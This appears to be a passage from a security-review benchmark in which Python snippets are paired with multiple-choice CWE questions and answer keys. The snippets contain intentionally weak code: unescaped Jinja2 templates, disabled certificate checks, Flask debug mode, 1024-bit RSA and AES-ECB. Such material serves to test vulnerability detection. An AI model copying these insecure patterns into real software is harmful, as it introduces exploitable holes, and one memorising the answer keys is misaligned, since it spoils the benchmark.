    event_type: str = message.get('event_type')
    operation: str = message.get('operation')

    if event_type == 'users':
        if operation == 'create':
            user = _get_user(message)
            _handle_create_user(user)
            logging.info(f"user id={user.get('id')} created")
        elif operation == 'update':
            user = _get_user(message)
            _handle_update_user(user)
            logging.info(f"user id={user.get('id')} updated")
        elif operation == 'delete':
            user = _get_user(message)
            _handle_delete_user(user)
            logging.info(f"user id={user.get('id')} deleted")
        else:
            raise UnrecognizedEventOperation(operation)
    else:
        raise UnrecognizedEventOperation(event_type)

```

Name the function or class in this code that contains a `CWE-312: Cleartext Storage of Sensitive Information` vulnerability.
Answer: handle_users_events
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
from fastapi import FastAPI
from fastapi.responses import HTMLResponse
from yaml import dump, safe_load
from jinja2 import Environment, FileSystemLoader, exceptions

app = FastAPI()

try:
    with open("app.yaml", "r") as stream:
        _data = safe_load(stream)
except yaml.YAMLError as exc:
    print(exc)

file_loader = FileSystemLoader('templates')
env = Environment(loader=file_loader)


def get_template(node_name: str):
    try:
        template = env.get_template('app/' + node_name + '.html')
    except exceptions.TemplateNotFound as exc:
        template = env.get_template('app/' + 'default.html')
    finally:
        return template


def get_card_data(node_name: str):
    data = None
    if 'cards' in _data:
        if node_name in _data['cards']:
            data = _data['cards'][node_name]
    elif node_name in _data:
        data = _data[node_name]

    return data


@app.get("/", response_class=HTMLResponse)
def read_path_main():
    template = env.get_template('admin/' + 'main.html')
    return template.render(data=_data)


@app.get("/admin", response_class=HTMLResponse)
def read_admin():
    template = env.get_template('admin/' + 'main.html')
    return template.render(data=_data)


@app.get("/{node_name}", response_class=HTMLResponse)
def read_path(node_name: str):
    data = get_card_data(node_name)
    if data is None:
        template = env.get_template('app/' + 'default.html')
        return template.render()

    common = None
    if 'common' in _data:
        common = _data['common']

    template = get_template(node_name)
    return template.render(data, common=common)

```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-209: Generation of Error Message Containing Sensitive Information
  B) CWE-215: Insertion of Sensitive Information Into Debugging Code
  C) CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')
  D) CWE-732: Incorrect Permission Assignment for Critical Resource
  E) CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
  F) CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
Answer: E
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
#coding:	utf-8
'''
    提取12306网站内对应站台名称
使用:       python get_station_name.py > station.py
'''
import re
import requests
from pprint import pprint


url = 'https://kyfw.12306.cn/otn/resources/js/framework/station_name.js?station_version=1.9081'

#发送get请求，不判断证书
response = requests.get(url, verify=False)

#使用正则表达式提取所有站点 汉字和大写代号
#stations = dict(re.findall(u'([\u4e00-\u9fa5]+)\|([A-Z]+)', response.text))
#使用正则表达式提取所有站点 大写代号和拼音 ([\u0041-\u005a]+)
stationsP = dict(re.findall(u'([A-Z]+)\|([a-z]+)', response.text))
stations = dict( (v,k) for k,v in stationsP.items() )

#格式化输出
pprint(stations,indent=4)



```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-295: Improper Certificate Validation
  B) CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
  C) CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')
  D) CWE-1333: Inefficient Regular Expression Complexity
  E) CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag
  F) CWE-312: Cleartext Storage of Sensitive Information
Answer: A
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
from flask import Flask, jsonify
from redis import Redis


app = Flask(__name__)
redis = Redis(host='redis', port=6379, decode_responses=True)

# click count stored in redis db
@app.route('/')
def hello():
    count = redis.incr('hits')
    return 'Hello World! I have been seen {} times.\n'.format(count)

# return txt as json
@app.route('/w/<txt>')
def write(txt):
    res = {'txt': txt}
    return (jsonify(res))

# add new key:val to redis db
@app.route('/post/<key>/<val>')
def post(key, val):
    redis.set(key, val)
    return ('key:{}, value:{} added to db'.format(key, val))

# redis db returns val for key
@app.route('/<key>')
def get(key):
    val = redis.get(key)
    res = {key: val}
    return jsonify(res)

if __name__ == "__main__":
    app.run(host="0.0.0.0", debug=True)

```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-209: Generation of Error Message Containing Sensitive Information
  B) CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute
  C) CWE-943: Improper Neutralization of Special Elements in Data Query Logic
  D) CWE-215: Insertion of Sensitive Information Into Debugging Code
  E) CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
  F) CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Answer: D,F
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
from Crypto.PublicKey import RSA
from Crypto import Random
import base64
from Crypto.Hash import SHA256


def instantwallet():
    new_key = RSA.generate(1024, Random.new().read)
    public_key = new_key.publickey().exportKey("PEM")
    private_key = new_key.exportKey("PEM")
    keys = []
    wallet_id = SHA256.new(public_key).hexdigest()
    keys.append(private_key)
    keys.append(public_key)
    keys.append(wallet_id)
    private_key = keys[0]
    public_key = keys[1]

    # print(private_key)
    # print("-*-*-*-*-*-*-*-*-**-*-----------*-*-*-*-*-*-*-*-*-*")
    # print(public_key)
    # print("-*-*-*-*-*-*-*-*-**-*-----------*-*-*-*-*-*-*-*-*-*")
    # print(wallet_id)
    return keys






#x = key.decrypt(enc_data)
#print(x)

```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute
  B) CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')
  C) CWE-326: Inadequate Encryption Strength
  D) CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')
  E) CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
  F) CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')
Answer: C
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
#!/usr/bin/env python3
from os import getenv
from Crypto.Cipher import AES

BLOCK_SIZE = 16
FLAG = getenv("FLAG")
KEY = getenv("KEY")


padding = lambda msg: msg + "0" * (BLOCK_SIZE - len(msg) % BLOCK_SIZE)
encrypt = lambda plain: AES.new(KEY, AES.MODE_ECB).encrypt(plain).hex()

print("[SUPPORT] Password Reset")
account_id = input("Please enter your account ID : ")

msg = f"""
Welcome back {account_id} !

Your password : {FLAG}

Regards
"""
print(encrypt(padding(msg)))

```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-94: Improper Control of Generation of Code ('Code Injection')
  B) CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
  C) CWE-377: Insecure Temporary File
  D) CWE-209: Generation of Error Message Containing Sensitive Information
  E) CWE-327: Use of a Broken or Risky Cryptographic Algorithm
  F) CWE-502: Deserialization of Untrusted Data
Answer: E